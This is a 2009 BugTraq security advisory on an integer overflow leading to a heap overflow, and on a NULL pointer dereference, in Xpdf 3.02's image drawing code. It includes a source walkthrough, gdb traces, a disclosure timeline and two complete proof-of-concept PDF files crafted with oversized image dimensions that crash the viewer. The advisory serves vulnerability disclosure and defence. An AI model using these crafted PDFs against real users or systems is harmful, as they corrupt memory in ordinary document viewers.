BugTraq
Xpdf - Integer overflow which causes heap overflow and NULL pointer derefernce. Oct 18 2009 09:39AM
adam hispasec com
Name: Xpdf - Integer overflow which causes heap overflow and NULL pointer derefernce

Author: Adam Zabrocki / HISPASEC (<pi3 (at) itsec (dot) pl [email concealed]> or <adam (at) hispasec (dot) com [email concealed]>)

Date: July 06, 2009

Issue:

Xpdf allows local and remote attackers to overflow buffer on heap via integer overflow vulnerability.

Xpdf is prone to NULL pointer dereference attack.

Description:

Xpdf is an open-source viewer for Portable Document Format (PDF) files. Xpdf project also includes

a PDF text extractor, PDF-to-PostScript converter, and various other utilities. Xpdf runs under

the X Window System on UNIX, VMS, and OS/2. The non-X components (pdftops, pdftotext, etc.) also

run on Win32 systems and should run on pretty much any system with a decent C++ compiler.

Xpdf is designed to be small and efficient. It can use Type 1, TrueType, or standard X fonts.

Details:

Let's look in code:

"./goo/gmem.cc"

void *gmalloc(int size) GMEM_EXCEP {

#ifdef DEBUG_MEM

...

#else

void *p;

if (size < 0) {

#if USE_EXCEPTIONS

...

#else

fprintf(stderr, "Invalid memory allocation size\n");

exit(1);

#endif

}

if (size == 0) {

return NULL;

}

if (!(p = malloc(size))) {

#if USE_EXCEPTIONS

...

#else

fprintf(stderr, "Out of memory\n");

exit(1);

#endif

}

return p;

#endif

}

Ok. So if we pass negative value to gmalloc() than xpdf finish work via exit() call

and print to stderr "Invalid memory allocation size\n". If we pass 0 (zero) value

than function return NULL. In other cases there will be normal call to malloc() func.

Ok so let's look further.

"./splash/Splash.cc"

SplashError Splash::drawImage(SplashImageSource src, void *srcData,

SplashColorMode srcMode, GBool srcAlpha,

int w, int h, SplashCoord *mat) {

...

...

SplashClipResult clipRes, clipRes2;

int yp, yq, yt, yStep, lastYStep;

int xp, xq, xt, xStep, xSrc;

...

SplashColorPtr colorBuf, p;

...

#if SPLASH_CMYK

int pixAcc0, pixAcc1, pixAcc2, pixAcc3;

#else

int pixAcc0, pixAcc1, pixAcc2;

#endif

...

int nComps, n, m, i, j;

...

// check color modes

ok = gFalse; // make gcc happy

nComps = 0; // make gcc happy

switch (bitmap->mode) {

case splashModeMono1:

case splashModeMono8:

ok = srcMode == splashModeMono8;

nComps = 1;

break;

case splashModeRGB8:

ok = srcMode == splashModeRGB8;

nComps = 3;

break;

case splashModeBGR8:

ok = srcMode == splashModeBGR8;

nComps = 3;

break;

#if SPLASH_CMYK

case splashModeCMYK8:

ok = srcMode == splashModeCMYK8;

nComps = 4;

break;

#endif

}

if (!ok) {

return splashErrModeMismatch;

}

...

...

// compute Bresenham parameters for x and y scaling

yp = h / scaledHeight;

yq = h % scaledHeight;

xp = w / scaledWidth;

xq = w % scaledWidth;

colorBuf = (SplashColorPtr)gmalloc((yp + 1) * w * nComps); <- [1] !!!

if (srcAlpha) {

alphaBuf = (Guchar *)gmalloc((yp + 1) * w);

} else {

alphaBuf = NULL;

}

pixAcc0 = pixAcc1 = pixAcc2 = 0; // make gcc happy

...

...

if (srcAlpha) {

...

<BIG code>

...

} else {

// init y scale Bresenham

yt = 0;

lastYStep = 1;

for (y = 0; y < scaledHeight; ++y) {

// y scale Bresenham

yStep = yp;

yt += yq;

if (yt >= scaledHeight) {

yt -= scaledHeight;

++yStep;

}

// read row(s) from image

n = (yp > 0) ? yStep : lastYStep;

if (n > 0) {

p = colorBuf;

for (i = 0; i < n; ++i) {

(*src)(srcData, p, NULL); <- [!!] !!!

p += w * nComps;

}

}

...

<now we will be looking in code for splashModeRGB8 and splashModeBGR8>

...

switch (srcMode) {

...

...

case splashModeRGB8:

case splashModeBGR8:

for (x = 0; x < scaledWidth; ++x) {

// x scale Bresenham

xStep = xp;

xt += xq;

if (xt >= scaledWidth) {

xt -= scaledWidth;

++xStep;

}

...

...

// compute the filtered pixel at (x,y) after the x and y scaling

// operations

m = xStep > 0 ? xStep : 1;

p = colorBuf + xSrc * 3; <- [2] !!!

pixAcc0 = pixAcc1 = pixAcc2 = 0;

for (i = 0; i < n; ++i) {

for (j = 0; j < m; ++j) {

pixAcc0 += *p++; <- [3] !!!

pixAcc1 += *p++;

pixAcc2 += *p++;

}

p += 3 * (w - m);

}

...

...

<BIG code>

...

...

}

We immediately control variable "w" and "h". So if we set variable "w" to value zero (0).

After that call to gmalloc (in [1]) will return NULL. There is no check what value was returned!

So in [2] we have p = NULL + xSrc*3, xSrc we can set to 0 (zero) too. So in fact we can set "p"

to NULL value. In [3] we have NULL pointer dereference!

Ok let's look for other scenario. What will happen if variable "w" have BIG value? Let's look:

(yp + 1) * w * nComps

"w" we can control immediately, "nComps" have some static value and "yp" we can controle indirectly

because:

yp = h / scaledHeight;

"h" we control once again immediately! So in fact we can do integer overflow and allocate less memory

than it should be. For example:

h = 2000000000

w = 1102

nComps = 3

yp / scaledHeight = 15873015, for standard scaledHeight = 126

so it should be => (15873015+1)*1102*3 = 15873016*1102*3 = 52476190896

but in fact after integer overflow it is:

yp[15873015]+1)*w[1102]*nComps[3] = 936583344

So it is too little :)

In this scenario after call to gmalloc() program will go after some instruction to code in [!!].

in fact this is call to some pointer which redirect us to function...

"xpdf/SplashOutputDev.cc"

GBool SplashOutputDev::imageSrc(void *data, SplashColorPtr colorLine,

Guchar *alphaLine) {

SplashOutImageData *imgData = (SplashOutImageData *)data;

...

SplashColorPtr q, col;

...

int nComps, x;

...

if (imgData->lookup) {

switch (imgData->colorMode) {

...

...

case splashModeRGB8:

case splashModeBGR8:

for (x = 0, p = imgData->imgStr->getLine(), q = colorLine;

x < imgData->width;

++x, p += nComps) {

imgData->colorMap->getRGB(p, &rgb);

*q++ = colToByte(rgb.r);

*q++ = colToByte(rgb.g);

*q++ = colToByte(rgb.b);

}

break;

...

...

}

And here is overflow! We have too little allocated memory but program don't know about it

and try to convert colors and write in this memory by call:

*q++ = colToByte(rgb.r);

*q++ = colToByte(rgb.g);

*q++ = colToByte(rgb.b);

and the end of working loop is via this compare:

x < imgData->width;

So we overflow memory.

Proof of concept

Let's try to do this scenario:

[root@pi3book xpdf-3.02]# xpdf elo.pdf

Error: PDF file is damaged - attempting to reconstruct xref table...

Naruszenie ochrony pamięci

[root@pi3book xpdf-3.02]#

and gdb output:

(gdb) bt

#0 0x080c222a in SplashOutputDev::imageSrc (data=0xbfffec84, colorLine=0xb7fe46de '�' <repeats 200 times>..., alphaLine=0x0) at SplashOutputDev.cc:1848

#1 0x080fedc0 in Splash::drawImage (this=0x81e5878, src=0x80c20d0 <SplashOutputDev::imageSrc(void*, unsigned char*, unsigned char*)>, srcData=0xbfffec84,

srcMode=splashModeRGB8, srcAlpha=0, w=1102, h=2000000000, mat=0xbfffec50) at Splash.cc:2532

#2 0x080c1d1f in SplashOutputDev::drawImage (this=0x81bd0f8, state=0x81f0050, ref=0xbfffeebc, str=0x81f0960, width=1102, height=2000000000,

colorMap=0x81f8ea0, maskColors=0x0, inlineImg=0) at SplashOutputDev.cc:2048

#3 0x080601d9 in Gfx::doImage (this=0x81e5528, ref=0xbfffeebc, str=0x81f0960, inlineImg=0) at Gfx.cc:3657

#4 0x08066799 in Gfx::opXObject (this=0x81e5528, args=0xbfffef34, numArgs=1) at Gfx.cc:3330

#5 0x080612bd in Gfx::go (this=0x81e5528, topLevel=1) at Gfx.cc:581

#6 0x080615ea in Gfx::display (this=0x81e5528, obj=0xbffff1ac, topLevel=1) at Gfx.cc:553

#7 0x080a55cb in Page::displaySlice (this=0x81df9f0, out=0x81bd0f8, hDPI=90, vDPI=90, rotate=0, useMediaBox=0, crop=1, sliceX=0, sliceY=0, sliceW=744,

sliceH=1052, printing=0, catalog=0x81de638, abortCheckCbk=0, abortCheckCbkData=0x0) at Page.cc:317

#8 0x080aa485 in PDFCore::needTile (this=0x81bcab8, page=0x81e5468, x=0, y=0) at PDFCore.cc:835

#9 0x080abc77 in PDFCore::update (this=0x81bcab8, topPageA=1, scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at PDFCore.cc:658

#10 0x080de837 in XPDFCore::update (this=0x81bcab8, topPageA=1, scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at XPDFCore.cc:285

#11 0x080a6861 in PDFCore::displayPage (this=0xbfffe88c, topPageA=1, zoomA=125, rotateA=0, scrollToTop=1, addToHist=1) at PDFCore.cc:292

#12 0x080ea80a in XPDFViewer (this=0x81a35f8, appA=0x8180298, fileName=0x8182b00, pageA=1, destName=0x0, fullScreen=0, ownerPassword=0x0, userPassword=0x0)

at XPDFViewer.cc:297

#13 0x080dafe0 in XPDFApp::open (this=0x8180298, fileName=0x8182b00, page=1, ownerPassword=0x0, userPassword=0x0) at XPDFApp.cc:228

#14 0x080edcbb in main (argc=Cannot access memory at address 0x0

) at xpdf.cc:311

(gdb) x/i $eip

0x80c222a <_ZN15SplashOutputDev8imageSrcEPvPhS1_+346>: mov %al,0x1(%ebx)

(gdb) i r ebx

ebx 0xb7fe4fff -1208070145

(gdb) x/x $ebx

0xb7fe4fff: Cannot access memory at address 0xb7fe4fff

(gdb) print q

$1 = (Guchar *) 0xb7fe4fff "�" <Address 0xb7fe5000 out of bounds>

(gdb) print x

$2 = 780

(gdb) print ((SplashOutImageData *)data)->width

$3 = 1102

(gdb) up

#1 0x080fedc0 in Splash::drawImage (this=0x81e5878, src=0x80c20d0 <SplashOutputDev::imageSrc(void*, unsigned char*, unsigned char*)>, srcData=0xbfffec84,

srcMode=splashModeRGB8, srcAlpha=0, w=1102, h=2000000000, mat=0xbfffec50) at Splash.cc:2532

2532 (*src)(srcData, p, NULL);

(gdb) print colorBuf

$4 = (

SplashColorPtr) 0x7ffae008 "\204��a\210�a\210�a\210�`\210�
;`\210�`\210�`\210�`\210�`\210�`\210&
#65533;`\210�`\210�`\210�`\210�`\210�
`\210�`\210�`\210�`\210�`\210�`\210&#
65533;`\210�`\210�`\210�`\210�`\210�`
\210�`\210�`\210�`\210�`\210�`\210
5533;`\210�`\210�`\210�`\210�`\210�`\
210�`\210�`\210�`\210�`\210�`\210A
533;`\210�`\210�`\210�`\210�`\210�`\2
10�`\210�`\210�`\210�`\210�`\210ʏ
33;`\210�`\210�`\210�`\210�`\210�`\21
0�`\210�`\210�`\210�`\210�`\210ᦙ
3;`\210"...

(gdb) print w

$5 = 1102

(gdb) print h

$6 = 2000000000

(gdb) print nComps

$7 = 3

(gdb) list

2527 // read row(s) from image

2528 n = (yp > 0) ? yStep : lastYStep;

2529 if (n > 0) {

2530 p = colorBuf;

2531 for (i = 0; i < n; ++i) {

2532 (*src)(srcData, p, NULL);

2533 p += w * nComps;

2534 }

2535 }

2536 lastYStep = yStep;

(gdb) print n

$8 = 15873015

(gdb) print p

$9 = (Guchar *) 0xb7fe46de '�' <repeats 200 times>...

(gdb)

So it is exactly what we analyze source :) Look now what will happen when variable "w" have value 0 (zero) - in fact

now we will have NULL pointer dereference. Let's look:

[root@pi3book xpdf-3.02]# xpdf jajo.pdf

Error: PDF file is damaged - attempting to reconstruct xref table...

Naruszenie ochrony pamięci (core dumped)

[root@pi3book xpdf-3.02]#

and gdb output:

(gdb) bt

#0 Splash::drawImage (this=0x81e58e0, src=0x80c20d0 <SplashOutputDev::imageSrc(void*, unsigned char*, unsigned char*)>, srcData=0xbfffec84,

srcMode=splashModeRGB8, srcAlpha=0, w=0, h=2000000000, mat=0xbfffec50) at Splash.cc:2667

#1 0x080c1d1f in SplashOutputDev::drawImage (this=0x81bd100, state=0x81f0090, ref=0xbfffeebc, str=0x81f09c0, width=0, height=2000000000,

colorMap=0x81f8f00, maskColors=0x0, inlineImg=0) at SplashOutputDev.cc:2048

#2 0x080601d9 in Gfx::doImage (this=0x81e54c8, ref=0xbfffeebc, str=0x81f09c0, inlineImg=0) at Gfx.cc:3657

#3 0x08066799 in Gfx::opXObject (this=0x81e54c8, args=0xbfffef34, numArgs=1) at Gfx.cc:3330

#4 0x080612bd in Gfx::go (this=0x81e54c8, topLevel=1) at Gfx.cc:581

#5 0x080615ea in Gfx::display (this=0x81e54c8, obj=0xbffff1ac, topLevel=1) at Gfx.cc:553

#6 0x080a55cb in Page::displaySlice (this=0x81dfa08, out=0x81bd100, hDPI=90, vDPI=90, rotate=0, useMediaBox=0, crop=1, sliceX=0, sliceY=0, sliceW=744,

sliceH=1052, printing=0, catalog=0x81de718, abortCheckCbk=0, abortCheckCbkData=0x0) at Page.cc:317

#7 0x080aa485 in PDFCore::needTile (this=0x81bcac0, page=0x81e5408, x=0, y=0) at PDFCore.cc:835

#8 0x080abc77 in PDFCore::update (this=0x81bcac0, topPageA=1, scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at PDFCore.cc:658

#9 0x080de837 in XPDFCore::update (this=0x81bcac0, topPageA=1, scrollXA=0, scrollYA=0, zoomA=125, rotateA=0, force=1, addToHist=1) at XPDFCore.cc:285

#10 0x080a6861 in PDFCore::displayPage (this=0x0, topPageA=1, zoomA=125, rotateA=0, scrollToTop=1, addToHist=1) at PDFCore.cc:292

#11 0x080ea80a in XPDFViewer (this=0x81a35f8, appA=0x8180298, fileName=0x8182b00, pageA=1, destName=0x0, fullScreen=0, ownerPassword=0x0, userPassword=0x0)

at XPDFViewer.cc:297

#12 0x080dafe0 in XPDFApp::open (this=0x8180298, fileName=0x8182b00, page=1, ownerPassword=0x0, userPassword=0x0) at XPDFApp.cc:228

#13 0x080edcbb in main (argc=Cannot access memory at address 0x0

) at xpdf.cc:311

(gdb) print w

$1 = 0

(gdb) print i

$2 = 0

(gdb) print j

$3 = 0

(gdb) print n

$4 = 15873015

(gdb) print m

$5 = 1

(gdb) print p

$6 = (Guchar *) 0x0

(gdb) print pixAcc0

$7 = 0

(gdb) x/i $eip

0x80ff720 <_ZN6Splash9drawImageEPFiPvPhS1_ES0_15SplashColorModeiiiPd+9488>: movzbl (%ebx),%eax

(gdb) i r ebx

ebx 0x0 0

(gdb) x/x $ebx

0x0: Cannot access memory at address 0x0

(gdb)

That's all. Everything is exacly what we analyse.

[1] - NULL pointer dereference:

-------------- xpdf-poc-null-pointer-dereference.pdf -------------

%PDF-1.3

% 'BasicFonts': class PDFDictionary

1 0 obj

% The standard fonts dictionary

<< /F1 2 0 R >>

endobj

% 'F1': class PDFType1Font

2 0 obj

% Font Helvetica

<< /BaseFont /Helvetica

/Encoding /WinAnsiEncoding

/Name /F1

/Subtype /Type1

/Type /Font >>

endobj

% 'FormXob.322a89588a84510d9b1b6ec68c3b4437': class PDFImageXObject

3 0 obj

<< /BitsPerComponent 8

/ColorSpace /DeviceRGB

/Filter [ /ASCII85Decode

/FlateDecode ]

/Height 2000000000

/Length 61

/Subtype /Image

/Type /XObject

/Width 0 >>

stream

GarPPGWE%h$j7l8U/<b)7aWX$5Y7NE=r1HcE+b-(;)F/"d9oEm?)I\-b23C~>endstream

endobj

% 'Page1': class PDFPage

4 0 obj

% Page dictionary

<< /Contents 8 0 R

/MediaBox [ 0

0

595.2756

841.8898 ]

/Parent 7 0 R

/Resources << /Font 1 0 R

/ProcSet [ /PDF

/Text

/ImageB

/ImageC

/ImageI ]

/XObject << /FormXob.322a89588a84510d9b1b6ec68c3b4437 3 0 R >> >>

/Rotate 0

/Trans << >>

/Type /Page >>

endobj

% 'R5': class PDFCatalog

5 0 obj

% Document Root

<< /Outlines 9 0 R

/PageMode /UseNone

/Pages 7 0 R

/Type /Catalog >>

endobj

% 'R6': class PDFInfo

6 0 obj

<< /Author (anonymous)

/CreationDate (20090525000415)

/Keywords ()

/Producer (ReportLab http://www.reportlab.com)

/Subject (unspecified)

/Title (untitled) >>

endobj

% 'R7': class PDFPages

7 0 obj

% page tree

<< /Count 1

/Kids [ 4 0 R ]

/Type /Pages >>

endobj

% 'R8': class PDFStream

8 0 obj

% page stream

<< /Filter [ /ASCII85Decode

/FlateDecode ]

/Length 137 >>

stream

Gap(;0b2&S&-VlomLT2HjNbIbQSsFp1e964@g>'<K)ZW1TUhKc(%Rpp=t5hkIT:&HH9nYhU`
6Inl-6"Js0J5ePfhLZm8G)YG;4cqkJ;Rf)cZMkCEB*ZoFeK5S8`19G:#!aWM18.~>endstre
am

endobj

% 'R9': class PDFOutlines

9 0 obj

<< /Count 0

/Type /Outlines >>

endobj

xref

0 10

0000000000 65535 f

0000000113 00000 n

0000000209 00000 n

0000000415 00000 n

0000000710 00000 n

0000001052 00000 n

0000001186 00000 n

0000001397 00000 n

0000001502 00000 n

0000001783 00000 n

trailer

<< /ID

% ReportLab generated PDF document -- digest (http://www.reportlab.com)

[(xZ\271\226b\372\015\305\017\211\022\241\262?\243\347) (xZ\271\226b\372\015\305\017\211\022\241\262?\243\347)]

/Info 6 0 R

/Root 5 0 R

/Size 10 >>

startxref

1834

%%EOF

-------------- xpdf-poc-null-pointer-dereference.pdf -------------

[2] - Integer overflow:

-------------- xpdf-poc-integer-overflow.pdf -------------

%PDF-1.3

% 'BasicFonts': class PDFDictionary

1 0 obj

% The standard fonts dictionary

<< /F1 2 0 R >>

endobj

% 'F1': class PDFType1Font

2 0 obj

% Font Helvetica

<< /BaseFont /Helvetica

/Encoding /WinAnsiEncoding

/Name /F1

/Subtype /Type1

/Type /Font >>

endobj

% 'FormXob.322a89588a84510d9b1b6ec68c3b4437': class PDFImageXObject

3 0 obj

<< /BitsPerComponent 8

/ColorSpace /DeviceRGB

/Filter [ /ASCII85Decode

/FlateDecode ]

/Height 2000000000

/Length 61

/Subtype /Image

/Type /XObject

/Width 1102 >>

stream

GarPPGWE%h$j7l8U/<b)7aWX$5Y7NE=r1HcE+b-(;)F/"d9oEm?)I\-b23C~>endstream

endobj

% 'Page1': class PDFPage

4 0 obj

% Page dictionary

<< /Contents 8 0 R

/MediaBox [ 0

0

595.2756

841.8898 ]

/Parent 7 0 R

/Resources << /Font 1 0 R

/ProcSet [ /PDF

/Text

/ImageB

/ImageC

/ImageI ]

/XObject << /FormXob.322a89588a84510d9b1b6ec68c3b4437 3 0 R >> >>

/Rotate 0

/Trans << >>

/Type /Page >>

endobj

% 'R5': class PDFCatalog

5 0 obj

% Document Root

<< /Outlines 9 0 R

/PageMode /UseNone

/Pages 7 0 R

/Type /Catalog >>

endobj

% 'R6': class PDFInfo

6 0 obj

<< /Author (anonymous)

/CreationDate (20090525000415)

/Keywords ()

/Producer (ReportLab http://www.reportlab.com)

/Subject (unspecified)

/Title (untitled) >>

endobj

% 'R7': class PDFPages

7 0 obj

% page tree

<< /Count 1

/Kids [ 4 0 R ]

/Type /Pages >>

endobj

% 'R8': class PDFStream

8 0 obj

% page stream

<< /Filter [ /ASCII85Decode

/FlateDecode ]

/Length 137 >>

stream

Gap(;0b2&S&-VlomLT2HjNbIbQSsFp1e964@g>'<K)ZW1TUhKc(%Rpp=t5hkIT:&HH9nYhU`
6Inl-6"Js0J5ePfhLZm8G)YG;4cqkJ;Rf)cZMkCEB*ZoFeK5S8`19G:#!aWM18.~>endstre
am

endobj

% 'R9': class PDFOutlines

9 0 obj

<< /Count 0

/Type /Outlines >>

endobj

xref

0 10

0000000000 65535 f

0000000113 00000 n

0000000209 00000 n

0000000415 00000 n

0000000710 00000 n

0000001052 00000 n

0000001186 00000 n

0000001397 00000 n

0000001502 00000 n

0000001783 00000 n

trailer

<< /ID

% ReportLab generated PDF document -- digest (http://www.reportlab.com)

[(xZ\271\226b\372\015\305\017\211\022\241\262?\243\347) (xZ\271\226b\372\015\305\017\211\022\241\262?\243\347)]

/Info 6 0 R

/Root 5 0 R

/Size 10 >>

startxref

1834

%%EOF

-------------- xpdf-poc-integer-overflow.pdf -------------

Greets

Guys from HISPASEC, snoop, thorkill, Piotr Bania, guys from SecurityReason,

#lam3rz@IRCNET and #plhack@IRCNET

Disclaimer

This document and all the information it contains is provided "as is",

without any warranty. The author is not responsible for the

misuse of the information provided in this advisory. The advisory is

provided for educational purposes only.

Permission is hereby granted to redistribute this advisory, providing

that no changes are made and that the copyright notices and

disclaimers remain intact.

Ending words...

That's all. I test it on version 3.02 with all security patches. Probably all versions

are vulnerability. Thanks and Best regards Adam Zabrocki (pi3 / pi3ki31ny).

Disclosure Timeline

*) 14 October, 2009 - Vendor release patch

...

...

*) 27 Jult, 2009 - replay with vendor

*) 23 Jult, 2009 - contact with vendor

*) 06 July, 2009 - exploit bug and write advisory

*) 04 July, 2009 - found bug

--

http://hispasec.com

http://pi3.com.pl

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus